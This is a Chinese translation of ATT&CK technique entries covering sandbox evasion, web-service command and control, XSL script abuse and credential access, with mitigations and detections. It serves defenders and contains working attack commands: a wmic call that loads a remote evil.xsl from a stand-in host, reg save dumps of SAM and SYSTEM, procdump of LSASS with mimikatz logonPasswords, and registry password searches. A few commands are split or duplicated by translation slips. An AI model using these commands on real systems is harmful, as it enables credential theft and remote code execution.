在整个企业中为外部可访问的服务配置可靠、一致的账号活动审核策略。查看是否有跨系统的可疑的共享账号（用户、管理员或服务账号）行为。例如：一个账号同时登录到多个系统；多个账号同时登录到同一台机器；在反常时间或工作时间以外登录的账号。账号活动可能来自交互式登录会话，也可能来自在远程系统上执行二进制文件的特定帐户的进程。将其他安全系统与登录信息关联（例如，用户有活动的登录会话，但尚未进入建筑物或没有访问 VPN）。

定期审核域账号和本地系统账号来查看是否有攻击者为持久性所创建的账号。账号审核还可以包括检查是否激活了默认账号（如访客）。审核还应包括检查所有设备和应用的默认凭据或 SSH 密钥。一旦发现，应立即更新。

# 5.65 虚拟化/沙箱逃逸

编号： T1497

技术： 防御逃逸，发现

平台： Windows

数据源：进程监控，进程命令行参数

绕过的防御： 杀毒软件，主机司法分析，基于签名检测，静态文件分析

贡献者: Sunny Neo

版本： 1.0

攻击者可能会检查是否存在虚拟机环境 （VME） 或沙盒，以避免对工和行为可能的检测。如果攻击者检测到 VME，他们可能会更改其恶意软件以隐藏植入物的核心功能或脱离受害者。在丢弃辅助或附加负载之前，它们还可以搜索 VME 项目。

攻击者可以使用包括安全软件发现在内的多种方法，通过搜索安全监视工具（例如 Sysinternals、Wireshark 等）来实现虚拟化/沙盒规避，以帮助确定它是否是分析环境。其他方法包括在恶意软件代码中使用睡眠计时器或循环，以避免在临时沙盒中操作。

### 虚拟机环境组件发现

攻击者可以使用 Windows 管理规范、PowerShell、Systeminfo 和注册表查询等实用程序来获取系统信息和搜索 VME 项目。攻击者可能会在内存、进程、文件系统和/或注册表中搜索 VME 组件。攻击者可以使用脚本将这些检查合并到一个脚本中，然后如果程序确定系统为虚拟环境，则退出程序。此外，在 VMWare 等应用程序中，对手可以使用特殊的 I/O 端口发送命令和接收输出。攻击者也可以检查驱动器大小。例如，可以使用 Win32 设备 IO 控制功能来完成此操作。

注册表中的 VME 工件示例

- `HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions`
- `HKLM\HARDWARE\Description\System\"SystemBiosVersion";"VMWARE"`
- `HKLM\HARDWARE\ACPI\DSDT\BOX_`

系统上的 VME 文件和 DLL 示例

- `WINDOWS\system32\drivers\vmmouse.sys`
- `WINDOWS\system32\vboxhook.dll`
- `Windows\system32\vboxdisp.dll`

常见检查可以枚举运行这些应用程序独有的服务、系统上安装的程序、与虚拟机应用程序相关的字符串的制造商/产品字段以及特定于 VME 的硬件/处理器说明。

### 用户行为发现

攻击者可能会在主机上搜索用户行为（例如，浏览器历史记录、缓存、书签、主目录中的文件数等），以确保是真实环境。他们可以通过用户交互和数字签名来检测此类信息。他们可能会有恶意软件检查鼠标单击的速度和频率，以确定它是否是沙盒环境。在激活恶意代码之前，其他方法可能依赖于与系统的特定用户交互。示例包括等待文档关闭，然后再激活宏，以及等待用户双击嵌入的图像以激活。

### 虚拟硬件指纹发现

攻击者可能通过会检查机箱风扇和系统温度来收集表明是否是虚拟环境的证据。攻击者可能会利用一条 WMI 查询`$q = "Select * from Win32_Fan" Get-WmiObject -Query $q`进行一次 CPU 检查。如果这条 WMI 查询语句返回结果元素大于 0，这可能会告知他们此机器是一个物理机器。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用。

### 检测

虚拟化、沙盒和相关发现技术可能发生在操作的第一步中，但也可能在整个过程中发生，因为攻击者正在学习环境。数据和事件不应孤立地看待，而应作为行为链的一部分，根据获得的信息，可能导致其他活动，如横向移动。依赖于攻击者所需的实现和监视，检测与虚拟化和沙盒标识相关的操作可能很困难。监视正在生成的可疑进程，这些进程收集各种系统信息或执行其他形式的发现，尤其是在短时间内，可能有助于检测。

## 5.66 Web 服务

编号：T1102

技术：命令与控制，防御逃逸

平台：Linux，macOS，Windows

所需权限：用户

数据源：主机网络接口，Netflow/Enclave 技术网络流分析，网络协议分析，网络抓包，SSL/TLS 检查

是否需要网络：是

绕过的防御：二进制分析，日志分析，防火墙

贡献者：Anastasios Pingios

版本：1.0

攻击者可能会使用现有的合法外部 web 服务作为将命令中继到以攻破系统的手段。

这些命令还可以包括指向命令与控制（C2）基础结构的指针。攻击者可能会在使用嵌入式（通常是经过混淆/编码的）域或 IP 地址的 web 服务上发布内容，称为死点解析器。一旦感染，受害者将会到达并被这些解析器重定向。

作为 C2 机制的流行网站和社交媒体可能会提供大量掩护，因为网络中的主机可能在入侵前已经与它们通信了。攻击者更容易在常见服务（例如 Google 或 Twitter 提供的服务）中隐藏自己。Web 服务提供商通常使用 SSL / TLS 加密，反而为攻击者提供了额外的保护。

使用 web 服务还可以保护后端 C2 基础结构免被通过恶意软件二进制分析而发现，同时还可以实现操作弹性（因为该基础结构可以动态更改）。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防护 | 使用通过网络签名识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别的活动影响。 |
| Web 内容限制 | 使用 web 代理来实施外部网络通信策略，防止使用未经授权的外部服务。 |

### 检测

与已知或可疑进程活动（通过网络连接）相关的主机数据很重要，它们可用于补充基于恶意软件命令的攻击指标，也可用于控制签名以及基础结构或强加密的出现。如果数据已加密，则网络抓包分析需要 SSL / TLS 检查。分析网络数据中不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。用户行为监控可能有助于检测异常活动模式。分析数据包内容以检测未遵循所用端口预期协议行为的通信。

## 5.67 XSL 脚本处理

编号: T1220

技术： 防御逃逸，执行

平台： Windows

系统要求： 微软核心 XML 服务（MSXML）或访问 wmic.exe

所需权限： 用户

数据源： 进程监控，进程命令行参数，进程使用网络，动态链接库监控

远程支持：否

绕过防御：杀毒软件，应用程序白名单，数字证书验证

贡献者：Casey Smith; Praetorian

版本： 1.0

扩展样式表语言（xsl）文件通常用于描述 xml 文件中数据的处理和呈现。为了支持复杂的操作，xsl 标准包括对各种语言的嵌入式脚本的支持。

攻击者可能会滥用此功能来执行任意文件，同时可能绕过应用程序白名单防御。与可信的开发工具类似，微软公用线转换工具（msxsl.exe）可以安装并用于执行嵌入在本地或远程（引用 URL）xsl 文件中的恶意 JavaScript 代码。由于默认情况下未安装 msxsl.exe，因此攻击者可能需要使用丢弃文件对其进行打包。

命令行示例：

- `msxsl.exe customers[.]xml script[.]xsl`

这种技术的另一种变体称为“Squiblytwo”，它使用 windows 管理工具在 xsl 文件中调用 JScript 或 VBScript。这项技术与 Regsvr32/ “squiblydoo” 类似，也通过一个可信的内置 windows 工具执行本地/远程脚本。

命令行示例：

- Local File:`wmic proc`
- `ess list /FORMAT:evil[.]xsl`
- Remote File:`wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"`

命令行示例：

- 本地文件：`wmic process list /FORMAT:evil[.]xsl`
- 远程文件：`wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"`

## 缓解方法

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 如果不需要 msxsl.exe，则阻止其执行以防止攻击者滥用。 |

## 检测

使用监听线程来监听 msxsl.exe 和 wmic.exe 的执行和参数。将这些工具的最近调用与先前历史已知的正确参数以及加载文件进行比较，以确定异常和潜在的攻击活动（例如：URL 命令行参数、创建外部网络连接、加载与脚本相关的 dll）。在脚本调用之前和之后使用的命令参数在确定加载的荷载来源和用途时也可能有用。

在不是通常用于开发、调试和反向代理的系统上，msxsl.exe 或其他启用代理执行工具的存在可能是可疑的。

# 6. 凭据访问

## 6.1 账号操纵

编号：T1098

技术：凭据访问，持久化

平台：Windows

所需权限：管理员

数据源：认证日志，API 监控，Windows 事件日志，网络抓包

贡献者：Tim MalcomVetter

版本：1.0

攻击者可能会通过操纵账号在环境中维持对凭据的访问以及某些权限级别。账号操纵可以包括修改权限，修改凭据，添加或更改权限组，修改账号设置或修改身份认证的执行方式。这些操作还可以包括旨在破坏安全策略的账号活动，例如执行迭代密码更新以破坏密码时长策略并保留所盗凭据的生命周期。攻击者必须拥有对系统或域的足够权限才能创建或操纵账号。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 多因子认证 | 对用户和特权账号使用多因子认证。 |
| 网络分区 | 配置访问控制和防火墙来限制对关键系统和域控制器的访问。 |
| 操作系统配置 | 通过确保关键服务器的适当安全配置来保护域控制器，从而限制使用可能不必要的协议和服务（如 SMB 文件共享）进行访问。 |
| 特权账号管理 | 不允许将域管理员账号用于日常操作，因为这些操作可能会将域管理员账号暴露给非特权系统上的潜在攻击者。 |

### 检测

收集系统和域中账号对象修改相关的事件，例如事件 4738。监控与其他可疑活动相关的账号修改。修改可能发生在不寻常的时间或来自不寻常的系统。特别是主题和目标账号不同的标记事件或包含其它多余标记的事件，例如在不知道旧密码的情况下更改密码。

凭据也可能在不寻常的时间使用或在不寻常的系统或服务使用，并可能与其他可疑活动有关。

## 6.2 Bash 历史

| | |
|---|---|
| 编号： | T1139 |
| 技术： | 凭据访问 |
| 平台： | Linux, macOS |
| 所需权限： | 用户 |
| 数据源： | 文件监控，进程监控，进程命令行参数 |
| 版本： | 1.0 |

Bash 使用“history”实用程序跟踪用户在命令行上键入的命令。用户注销后，会将历史记录刷新到用户的`.bash_history`文件中。对于每个用户，该文件位于相同的位置：`~/.bash_history`。通常，该文件会跟踪用户的最近 500 个命令。用户通常在命令行上键入用户名和密码作为程序的参数，而后在注销时将会被保存到该文件中。攻击者可以通过查看该文件来获取潜在用户身份验证信息。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 操作系统配置 | 有多种方法可以防止将用户的命令历史记录刷新到其.bash_history 文件，包括使用以下命令：`set +o history`和`set -o history`重新开始记录；`unset HISTFILE`撤销添加到用户的`.bash_rc`文件中的操作；以及`ln -s /dev/null ~/.bash_history`将命令写入`/dev/null`。 |

### 检测

当用户的`.bash_history`被读取时，对其进行监视，可以帮助警告可疑活动。虽然用户通常依赖于他们的命令历史，但他们经常通过其他实用程序（如 “history”）而不是像 `cat ~/.bash_history`这样的命令来访问此历史记录。

# 6.3 暴力破解

编号：T1110

技术：凭据访问

平台：Linux，macOS，Windows

所需权限：用户

数据源：认证日志

贡献者：John Strand；Ed Williams，Trustwave，SpiderLabs

版本：1.1

攻击者想访问某账号但不知道账号密码或仅获得了账号的密码哈希时，可能会使用暴力破解技术尝试访问此账号。

凭据导出用于获取密码哈希。Pass the Hash 方法行不通时，攻击者才可能会用凭据导出的方法来获取密码哈希。攻击者可以使用相应技术来系统地猜测用于计算哈希的密码，或者可以使用预先计算好的彩虹表来破解哈希。攻击者通常在目标网络以外他们自己所控制的系统上来破解哈希。

攻击者可能会在对密码和哈希一无所知的情况下胡乱尝试密码来强行登录，或使用一系列已知或可能的密码来尝试暴力破解。这种操作的风险比较大，因为它可能会导致大量认证失败和账号锁定，具体取决于组织的登录失败策略。

既然使用多个密码来暴力破解一个账号会导致该账号被锁定，攻击者可能会使用密码喷洒技术来规避这个风险。密码喷洒技术使用一个（例如“ Password01”）或一小列满足域的复杂性策略的密码（并且可能是常用的密码）和网络上许多其他不同账号来尝试登录。

密码喷洒时，通常会使用通用端口上的管理服务。密码喷洒常常针对如下服务：

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS/SMB /Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP/终端服务 (3389/TCP)
- HTTP/HTTP 管理服务 (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

默认环境中，LDAP 和 Kerberos 连接尝试不太可能通过 SMB 触发事件，这会创建 Windows 事件 4625 “登录失败”。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 账号使用策略 | 设置失败登录尝试达到一定数量后锁定账号的策略来防止密码被攻击者猜中。过于严格的策略可能会导致拒绝服务的情况并导致环境无法使用，而且暴力破解针对的所有账号都会被锁定。 |
| 多因子认证 | 使用多因子身份认证。可能的情况下，还应在面向外部的服务上启用多因子身份认证。 |
| 密码策略 | 创建密码策略时，请参考 NIST 准则。 |

检测

由于攻击者通常在目标网络范围之外破解哈希，因此很难检测到哈希破解行为。

监控认证日志来查看是否有有效账号登录系统和应用失败的日志。如果认证失败率很高，则很可能有攻击者试图使用合法凭据来实施暴力破解从而获取系统访问权限。

还要查看是否有多个不同账号的、可能是由于密码喷洒导致的失败认证尝试。

关于密码喷洒，请查看是否有以下事件：

- 域控制器：事件 ID 4625 “审核登录”（成功和失败）。
- 域控制器：事件 4771 “审核 Kerberos 认证服务”（成功与失败）。
- 所有系统：事件 4648 “审核登录”（成功和失败）。

# 6.4 凭据转储

编号：T1003

技术：凭据访问

平台：Windows，Linux，macOS

所需权限：管理员，系统，root

数据源：API 监控，进程监控，PowerShell 日志，进程命令行参数

CAPEC 编号：CAPEC-567

贡献者：Vincent Le Toux；Ed Williams，Trustwave，SpiderLabs

版本：1.0

凭据导出是从操作系统和软件获取账号登录名和密码（哈希或明文密码）信息的过程。然后可以使用凭据来执行横向移动并访问受限制的信息。

攻击者和专业安全测试人员都可能会使用此技术中提到的几种工具。也可能存在其他自定义工具。

## Windows

### 安全账户管理器（SAM）

SAM 是一个数据库文件。该文件包含主机的本地账号（通常是用“ net user”命令找到的账号）。要枚举 SAM 数据库，需要系统级别的访问权限。可使用多种工具通过内存技术来检索 SAM 文件，包括：

- pwdumpx.exe
- gsecdump
- Mimikatz
- secretsdump.py

或者，可以使用 Reg 从注册表中提取 SAM：

- `reg save HKLM\sam sam`
- `reg save HKLM\system system`

然后，可以使用 Creddump7 在本地处理 SAM 数据库来检索哈希。

**注意：**Rid 500 账号是本地内置管理员的账号。Rid501 是访客账号。用户账号的 RID 为 1,000+。

### 缓存的凭据

Windows Vista 和更高版本使用的域缓存凭据版本 2（DCC2）哈希在域控制器不可用时缓存凭据。默认缓存凭据的数量各不相同，此数量在每个系统中都可能变化。此哈希不允许 Pass the Hash 攻击。可以使用多种工具通过内存技术来检索 SAM 文件，包括：

- pwdumpx.exe
- gsecdump
- Mimikatz

或者，可以使用 reg.exe 从注册表中提取文件，使用 Creddump7 收集凭据。

**注意：**Windows Vista 的缓存凭据是通过 PBKDF2 得到的。

### LSA Secrets

以系统权限访问主机时，本地账号到域账号的凭据通常都可以用来访问 LSA secrets。LSA secrets 存储在注册表中。服务运行在本地或域用户的上下文中时，他们的密码存储在注册表中。如果启用了自动登录功能，则此信息也存储在注册表中。可以使用多种工具通过内存技术来检索 SAM 文件，包括：

- pwdumpx.exe

- gsecdump
- Mimikatz
- secretsdump.py

或者，可以使用 reg.exe 从注册表中提取文件，使用 Creddump7 收集凭据。

**注意**：这种机制提取的密码是 UTF-16 编码的，也就是说它们是以明文形式返回的。Windows 10 新增了对 LSA secrets 的保护，具体参见“缓解”。

### 来自域控制器的 NTDS

活动目录存储域成员（包括设备和用户）相关信息，用于验证凭据和定义访问权限。活动目录域数据库存储在 NTDS.dit 文件中。默认情况下，NTDS 文件位于域控制器的%SystemRoot%\NTDS\Ntds.dit 中。

下列工具和技术可用于枚举 NTDS 文件和整个活动目录哈希的相关内容：

- 卷影复制
- secretsdump.py
- Windows 内置工具 ntdsutil.exe
- Invoke-NinjaCopy

### GPP 文件

组策略首选项（GPP）工具允许管理员用内置的凭据来创建域策略。这些策略，除其他特殊情况外，允许管理员设置本地账号。

这些组策略存储在域控制器上的 SYSVOL 中，这意味着任何域用户都可以查看 SYSVOL 共享并解密密码（AES 私钥已在线泄漏）。

以下工具和脚本可用于从组策略首选项 XML 文件中收集和解密密码文件：

- Metasploit 的攻击后模块："post/windows/gather/credentials/gpp"
- Get-GPPPassword
- gpprefdecrypt.py

**注意**：在 SYSVOL 共享上，可用 dir / s * .xml 命令来枚举 XML 文件。

### 服务主要名称（SPNs）

参见 Kerberos 活动目录攻击。

### 明文凭据

用户登录到系统后，将生成各种凭据并将其存储在内存中的安全机构子系统服务（LSASS）进程中。管理用户或系统用户可以收集这些凭据。

安全支持提供程序接口（SSPI）是多个安全支持提供程序（SSP）的通用接口：SSP 是动态链接库，它给应用提供了一个或多个可用安全包。

以下 SSP 可用于访问凭据：

MAV：交互式登录、批量登录和服务登录通过 MSV 认证包完成。Wdigest：摘要认证协议设计用于超文本传输协议（HTTP）和简单认证安全层（SASL）交换。Kerberos：在 Windows 2000 及更高版本中，是客户端-服务器彼此身份认证的首选。CredSSP：为远程桌面服务提供 SSO 和网络级别认证。以下工具可用于枚举凭据：

- Windows Credential Editor
- Mimikatz

与内存技术一样，LSASS 进程内存也可以从目标主机转储并在本地系统上进行分析。

例如，在目标主机上使用 procdump：

- `procdump -ma lsass.exe lsass_dump`

在本地，可以运行 mimikatz：

- `sekurlsa::Minidump lsassdump.dmp`
- `sekurlsa::logonPasswords`

### DCSync

DCSync 是凭据导出技术的一种变体，可用于从域控制器获取敏感信息。该操作不是执行可识别的恶意代码，而是通过滥用域控制器的 API 模拟来自远程域控制器的复制过程。域控制器上 Administrators，Domain Admins，Enterprise Admin 群组的任何成员或计算机账号都可以运行 DCSync 来从活动目录提取密码数据，其中可能包括潜在有用账号（例如 KRBTGT 和管理员）的当前和历史哈希。 然后，这些哈希又可以用于创建“票据传递攻击”会用到的“黄金票据”，或用于更改“账号操纵”中提到的账号密码。Mimikatz 的 lsadump 模块中已包含 DCSync 功能。Lsadump 模块还包括 NetSync，它通过旧版复制协议执行 DCSync。

## Linux

### Proc 文件系统

Linux 上的/proc 文件系统包含正在运行操作系统状态相关的大量信息。以 root 权限运行的进程可以使用此功能来抓取其他正在运行程序的实时内存。如果这些程序中的任何一个以明文形式存储密码或在内存中存储密码哈希，则这些值可能会被收集使用或用于暴力破解攻击。此功能已在 MimiPenguin 中实现。MimiPenguin 是受 Mimikatz 启发的开源工具。该工具转储进程内存，然后通过查找文本字符串和正则表达式模式来收集密码和哈希，从而了解给定的应用程序（例如 Gnome Keyring，sshd 和 Apache）如何使用内存来存储身份认证相关信息。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 活动目录配置 | 管理“复制目录更改”的访问控制列表以及与域控制器复制相关的其他权限。 |
| 凭据访问保护 | 在 Windows 10 中，微软实现了名为 “凭据保护”的新功能，来保护 LSA secrets（LSA secrets 可用于通过凭据导出来获取凭据）。默认情况下未配置此功能。若要配置此功能，需要满足硬件和固件系统要求。此功能还不能防止所有形式的凭据导出。 |

| | |
|---|---|
| 操作系统配置 | 考虑禁用或限制 NTLM。 |
| 密码策略 | 确保本地管理员账号在网络上所有系统中都有复杂且唯一的密码。 |
| 特权账号管理 | Windows：除非用户或管理域账号受到严格控制，否则请勿将它们放在不同系统的本地管理员组中，因为这通常相当于在所有这些系统上使用有相同密码的本地管理员账号。遵循企业网络设计和管理的最佳实践，限制在不同管理层使用特权账号。<br>Linux：从内存中获取密码需要 root 权限。遵循特权账号访问限制的最佳实践，避免恶意程序访问内存中的此类敏感区域。 |
| 特权进程完整性 | 在 Windows 8.1 和 Windows Server 2012 R2 上，为 LSA 启用 Protected Process Light。 |
| 用户培训 | 通过培训用户和管理员不要对多个账号使用相同密码来限制账号和系统之间的凭据重叠。 |

## 检测

### Windows

Mimikatz 等通用凭据导出程序通过打开进程，找到 LSA secrets 密钥并解密内存中存储凭据详细信息的区域来访问 LSASS 进程。凭据导出程序还可以通过使用反射式过程注入的方法来减少恶意活动的指示信息。

哈希转储程序在本地文件系统（%SystemRoot%/system32/config/SAM）上打开 SAM，或创建注册表 SAM 密钥的转储来访问存储的账号密码哈希。有些哈希转储程序会打开本地文件系统作为设备并解析到 SAM 表来避开文件访问防御。其他转储程序会在读取哈希值之前对 SAM 表进行内存复制。检测攻击者已入侵并正在使用的有效账号也可能会有所帮助。

在 Windows 8.1 和 Windows Server 2012 R2 上，监控 Windows 日志中 LSASS.exe 的创建来验证 LSASS 作为受保护的进程启动。

监控程序执行的进程和命令行参数来查看是否有凭据导出相关的指示信息。远程访问工具可能包含内置功能或合并了 Mimikatz 等现有工具。 还存在包含凭据导出功能的 PowerShell 脚本，例如 PowerSploit 的 Invoke-Mimikatz 模块，这可能还需要在操作系统中配置日志功能来收集必要的信息用于分析。

监控域控制器日志来查看是否有复制请求以及可能与 DCSync 相关的其他计划外活动。需要注意域控制器可能不会记录源自默认域控制器账号的复制请求。还需要监控网络协议以及来自已知域控制器不相关 IP 的其他复制请求。

### Linux

要获取存储在内存中的密码和哈希，进程必须在/proc 文件系统中打开待分析进程的映射文件。 该文件存储在`/proc//maps`路径下。其中，目录是要查询此类身份认证数据程序的唯一 pid。许多 Linux 发行版本中都带有 AuditD 监控工具，可用于监控在 proc 文件系统中打开此文件的恶意进程，并抛出含此类程序 pid、进程名称和参数的警告。

# 6.5 文件中的凭据

编号：T1081

技术：凭据访问

平台：Linux，macOS，Windows

系统要求：文件访问

所需权限：用户，管理员，系统

数据源：文件监控，进程命令行参数

CAPEC 编号：CAPEC-545

版本：1.0

攻击者可能会在本地文件系统和远程文件共享中搜索包含密码的文件。这些文件可以是用户个人凭据的存储文件，一组用户共享凭据的存储文件，包含系统或服务密码的配置文件，或包含嵌入式密码的源代码/二进制文件。

可以通过凭据导出技术从备份或保存的虚拟机中提取密码。还可以从 Windows 域控制器上存储的组策略首选项中获取密码。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 活动目录配置 | 删除易受攻击的组策略首选项。 |
| 审核 | 抢先搜索包含密码的文件。一旦发现，请采取措施降低风险。 |
| 密码策略 | 建立禁止在文件中存储密码的组织策略。 |
| 文件和目录权限限制 | 将文件共享限制为特定目录，仅允许必要的用户访问。 |
| 用户培训 | 确保开发人员和系统管理员知道留在端点系统或服务器上的软件配置文件中使用明文密码的相关风险。 |

## 检测

如果一开始不知道某些文件存在，那么检测攻击者对这些文件的访问可能很困难。即便如此，检测到攻击者使用已获取的凭据还是有可能的。监控执行进程的命令行参数来查看是否有表示正在搜索密码的可疑字词或正则表达式，例如：password，pwd，login，secure 或 credentials。更多信息，请参见“有效帐号”。

# 6.6 注册表中的凭据

编号：T1214

技术：凭据访问

平台：Windows

系统要求：攻击者能否查询某些注册表位置取决于他们的访问级别。用户权限通常仅限于访问与用户相关的注册表项。

所需权限：用户，管理员

数据源：Windows 注册表，进程命令行参数，进程监控

贡献者：Sudhanshu Chauhan，@Sudhanshu_C

版本：1.0

Windows 注册表存储系统或其他程序可以使用的配置信息。攻击者可能会查询注册表是否有存储供其他程序或服务使用的凭据和密码。有时，这些凭据用于自动登录。

用于查找密码信息相关的注册表项的命令举例如下：

- 本地机器配置单元：`reg query HKLM /f password /t REG_SZ /s`
- 当前用户配置单元：`reg query HKCU /f password /t REG_SZ /s`

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审核 | 主动搜索注册表中的凭据。一旦发现，请尝试降低风险。 |
| 密码策略 | 不要将凭据存储在注册表中。 |
| 特权账号管理 | 如果软件凭据必须存储在注册表中，请确保关联的账号只有有限的权限，防止它们被攻击者获取而滥用。 |

检测

监控可用于查询注册表的应用进程（例如 Reg），并收集那些可能表示有攻击者正在搜索凭据的命令参数。找出活动与可能表示攻击者正在主动入侵的可疑行为之间的关系，从而来减少误报。

# 6.7 凭据访问利用

编号：T1212

技术：凭据访问

| |
|---|
| 平台：Linux，Windows，macOS |
| 所需权限：用户 |
| 数据源：认证日志，Windows 错误报告，进程监控 |
| 贡献者：John Lambert，Microsoft Threat Intelligence Center |
| 版本：1.0 |

软件漏洞攻击指的是攻击者利用程序、服务或操作系统软件或内核本身中的编程错误执行恶意代码。攻击者可能会将凭据和身份认证机制作为手段来获取有用凭据或绕过进程来获取系统访问权限。例如：MS14-068 针对 Kerberos，使用域用户权限来伪造 Kerberos 凭据。凭据访问利用还可能导致权限升级，具体取决于目标进程或所获取的凭据。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 应用隔离和沙箱 | 使用沙箱来使得攻击者很难利用未发现或未修补的漏洞来实施攻击操作。也可通过其他类型的虚拟化和应用微分段来减轻某些类型漏洞攻击的影响。但在这些系统中仍可能存在其他漏洞和缺陷攻击风险。 |
| 漏洞攻击防护 | 可以使用安全应用程序，例如 Windows Defender 漏洞利用防护（WDEG）和增强缓和体验工具包（EMET），来检测攻击行为，从而缓解某些攻击行为的影响。也可通过控制流完整性检查来识别和阻止软件攻击。许多保护措施依赖于体系结构和目标应用二进制文件的兼容性，可能不适用于针对防御逃逸的软件。 |
| 威胁情报程序 | 开发一个强大的网络威胁情报能力，用来确定哪些类型和级别的威胁可能会针对特定组织实施软件攻击和零日漏洞攻击。 |
| 软件更新 | 对内部企业端点和服务器通过补丁管理来定期更新软件。 |

### 检测

软件利用检测可能很困难，具体取决于可用的工具。软件攻击可能并不会总是成功，或者可能导致被攻击的进程变得不稳定或崩溃。还要在系统上查找能表明攻击成功的行为，例如进程的异常行为。如果通过软件攻击获得的凭据平时不常使用或不常见，那么攻击者使用这些凭据时就会被检测到。

## 6.8 强制认证

| |
|---|
| 编号： T1187 |
| 技术： 凭据访问 |
| 平台： Windows |

| |
|---|
| 所需权限： 用户 |
| 数据源： 文件监控，网络协议分析，网络设备日志，进程使用网络 |
| 贡献者: Teodor Cimpoesu; Sudhanshu Chauhan, @Sudhanshu_C |
| 版本： 1.0 |

服务器消息块（SMB）协议通常用于 Windows 网络中，用于系统之间的身份验证和通信，以访问资源和文件共享。当 Windows 系统尝试连接到 SMB 资源时，它将自动尝试进行身份验证，并将当前用户的身份验证信息发送到远程系统。此行为在企业环境中很常见，因此用户无需输入凭据即可访问网络资源。当 SMB 被阻止或失败时，Windows 分布式创作和版本控制（WebDAV）通常被 Windows 系统用作备份协议。WebDAV 是 HTTP 的扩展，通常在 TCP 端口 80 和 443 上运行。

攻击者可以利用此行为通过强制 SMB 身份验证访问用户帐户哈希。攻击者可以通过鱼叉式钓鱼向用户发送附件，其中包含指向对手控制的外部服务器的资源链接（即模板注入），或者将特制文件放置在特权帐户的导航路径上（例如放在桌面上的.SCF 文件），或受害者可以访问的可公开访问的资源。当用户系统访问不受信任的资源时，它将尝试进行身份验证，并通过 SMB 向用户控制的服务器发送包括用户身份验证哈希值的相关信息。通过访问凭据哈希，攻击者可以执行离线暴力破解以获取纯文本凭据，或者将其重新用于传递哈希。

以上情况可以通过几种不同的方式发生. [6] 使用 in-the-wild 方法的一些细节包括：

- 包含文档的鱼叉式钓鱼附件，该文档具有在打开文档时可自动加载的资源（即模板注入）。例如，该文档可以包括类似于 `file[:]//[remote address]/Normal.dotm` 的请求以触发 SMB 请求。
- 修改后的 .LNK 或 .SCF 文件，其图标文件名指向外部引用，例如 `\[remote address]\pic.png`，这将强制系统在呈现图标时加载资源以重复收集身份验证信息。

## 缓解

| **缓解措施** | **说明** |
|---|---|
| 过滤网络流量 | 使用出口过滤或阻止 TCP 端口 139,445 和 UDP 端口 137 阻止 SMB 流量流出企业网络。过滤或阻止 WebDAV 协议流量流出网络。 如果需要通过 SMB 和 WebDAV 访问外部资源，则应通过白名单严格限制流量。 |
| 密码策略 | 使用强密码可以增加凭据哈希在获得时被破解的难度。 |

## 检测

监视 TCP 端口 139,445 和 UDP 端口 137 上的 SMB 流量，以及尝试将网络流出到未知外部系统的 WebDAV 流量。 如果检测到尝试，则调查端点数据源以查找根本原因。

监视.LNK，.SCF 或系统上以及虚拟环境中包含指向外部网络资源的任何其他资源文件的创建和修改，因为这些文件可用于在呈现文件时收集凭据。

# 6.9 Hook

编号: T1179

技术： 持久化，权限升级，凭据访问

平台： Windows

所需权限： 管理员，系统

数据源： API 监控，二进制文件元数据，动态链接库监控，加载的动态链接库，进程监控，Windows 事件日志

版本： 1.0

windows 进程通常利用应用程序编程接口（API）函数来执行需要可重用系统资源的任务。windows API 函数通常作为导出函数存储在动态链接库（DLLS）中。

Hook 包括将调用重定向到这些函数，可以通过：

- Hook 程序，它拦截并执行指定的代码以响应消息、按键和鼠标输入等事件。
- 导入地址表（IAT）Hook，它使用对进程 IAT 的修改，指向导入的 API 函数。
- 内联 Hook，重写 api 函数中的第一个字节以重定向码流

与进程注入类似，攻击者可以使用 Hook 在另一个进程的上下文中加载和执行恶意代码，屏蔽执行，同时还允许访问进程的内存，以及可能提升权限。通过正常调用函数，Hook 还可以利用连续的调用提供持久性。

恶意 Hook 还可能捕获 API 调用，这些调用包含用户验证凭据访问的参数。

Rootkits 通常使用 Hook 隐藏文件、进程、注册表项和其他对象，从而隐藏恶意软件及其相关行为。

## 缓解

这种类型的攻击技术是基于对系统功能的滥用，因此无法通过预防性控制轻松缓解。

## 检测

监视对钩子函数 SetWindowsHookEx 和 SetWinEventHook 的调用。还可以考虑使用工具或通过编程检查内核结构来分析钩子链（为每种钩子类型保存钩子过程的指针）。

Rootkits 检测器可用于监测各种类型的 Hook 活动，通过比较内存中的代码与对应的静态二进制代码，尤其是检查跳转和重定向码流，验证活动进程的完整性；还可以考虑制作新进程[1]的快照，由此比对内存中的 IAT 和引用函数的实际地址。

同时，分析进程行为，确定进程是否正在执行异于常规的操作，例如打开网络连接、读取文件以及与泄漏后行为相关的可疑操作。

# 6.10 输入捕捉

编号：T1056

技术：采集，凭据访问

平台：Linux，macOS，Windows

所需权限：管理员，系统

数据源：Windows 注册表，内核驱动程序，进程监控，API 监控

CAPEC 编号：CAPEC-569

贡献者：John Lambert，Microsoft Threat Intelligence Center

版本：1.0

攻击者可能会通过捕捉用户输入的方式，包括键盘记录以及用户输入字段拦截，来获取有效账号以及信息收集需要的凭据。键盘记录是时下最流行的输入捕捉方式，它包括多种截取键盘输入的方法。但也存在基于特定目的的信息定位方法，例如执行 UAC 提示或包装 Windows 默认凭据提供程序。

当凭据导出尝试无效时，可能会使用键盘记录来给新访问机会获取凭据，但攻击者在机会出现之前需要在系统上保持被动状态一段时间。

